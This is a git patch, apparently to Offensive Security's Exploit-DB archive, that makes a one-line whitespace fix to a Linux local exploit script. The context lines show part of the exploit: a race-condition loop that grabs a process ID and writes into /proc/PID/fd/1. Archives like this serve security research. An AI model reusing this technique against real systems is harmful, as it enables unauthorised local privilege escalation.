From 8687f3ea705108f8252e0c0926884459c0ff3dc8 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Fri, 8 Aug 2014 04:40:42 +0000 Subject: [PATCH] Updated 08_08_2014 --- platforms/linux/local/9844.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/platforms/linux/local/9844.py b/platforms/linux/local/9844.py index dce12caea..ef499aefe 100755 --- a/platforms/linux/local/9844.py +++ b/platforms/linux/local/9844.py @@ -14,7 +14,7 @@ while (i == 0): pid = str(os.system("ps -efl | grep 'sleep 1' | grep -v grep | { read PID REST ; echo $PID; }")) if (pid == 0): #need an active pid, race condition applies print "[+] Didnt grab PID, got: " + pid + " -- Retrying..." - return + return else: print "[+] PID: " + pid loc = "echo n > /proc/" + pid + "/fd/1"